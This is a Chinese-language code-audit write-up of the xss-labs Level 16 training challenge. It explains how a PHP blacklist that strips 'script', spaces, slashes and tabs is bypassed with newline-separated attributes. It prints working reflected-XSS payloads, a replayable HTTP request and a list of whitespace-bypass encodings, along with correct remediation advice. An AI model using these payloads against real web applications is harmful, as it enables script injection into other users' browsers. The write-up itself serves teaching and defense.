xss-labs Level16 代码审计报告
目标文件:
level16.php| 漏洞类型: 反射型 XSS —— 黑名单过滤的换行符绕过(空白字符替换不全) | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径:GET /level16.php?keyword=<payload>→<center>直接回显
一、漏洞代码定位
level16.php 第 17-22 行:
$str = strtolower($_GET["keyword"]); // L17 先压平
$str2 = str_replace("script", " ", $str); // L18 script→
$str3 = str_replace(" ", " ", $str2); // L19 空格→
$str4 = str_replace("/", " ", $str3); // L20 斜杠→
$str5 = str_replace("\t", " ", $str4); // L21 制表符→
echo "<center>".$str5."</center>"; // L22 危险:过滤后直接回显,无编码
漏洞点: L22。输出未做任何 HTML 编码;过滤链只封堵了 script、空格、/、tab 四种字符,遗漏了换行 \n(LF)与回车 \r(CR)。
二、漏洞原理
- 过滤思路是"把属性分隔符(空格/tab)替换掉,让你没法分隔属性"。
- 但 HTML 允许用空白(空格、Tab、换行、回车)分隔属性,攻击者用换行
\n(URL 编码%0a)或回车\r(%0d)代替空格即可:<img src=x onerror=alert(1)>中的空格 → 换行,变为<img\nsrc=x\nonerror=alert(1)>。script过滤不影响onerror;/过滤不影响本 payload(无斜杠)。
- 已实测: 空格会被替换为
,但换行\n原样保留,<img\nsrc=x\nonerror=alert(1)>通过过滤,浏览器按属性分隔正常解析并执行。
三、利用方式与 Yakit 可重放数据包
Payload(URL 解码后,%0a 为换行):
?keyword=<img%0asrc=x%0aonerror=alert(1)>
等价变体: <svg%0aonload=alert(1)>、<body%0aonload=alert(1)>。
Yakit 可重放原始请求:
GET /level16.php?keyword=%3Cimg%0asrc%3Dx%0aonerror%3Dalert(1)%3E HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
触发方式: 页面回显该标签,<img> 加载失败触发 onerror=alert(1) → 命中通关逻辑跳转 level17。
四、修复建议
// 根除:输出编码,而不是“替换几个空白字符”
$str = $_GET["keyword"] ?? "";
echo "<center>".htmlspecialchars($str, ENT_QUOTES, 'UTF-8')."</center>";
要点:
- 再次强调: 黑名单式替换永远不完整(空格、tab、LF、CR、
、多字节空白等均可当分隔符),正确做法是输出编码。 - 若确有富文本需求,应走白名单解析器/模板(如 HTMLPurifier),而不是正则替换。
- 加 CSP
script-src兜底。
五、备注
- 已实测: 空格 →
、tab → (被替换),但换行\n与回车\r未被过滤,可作为属性分隔符。 - 通用绕过清单(空格被过滤时):
%09(tab)、%0a(LF)、%0d(CR)、%0c(FF)、%0b(VT)、/、\等,需逐一判断过滤链是否覆盖。
正文完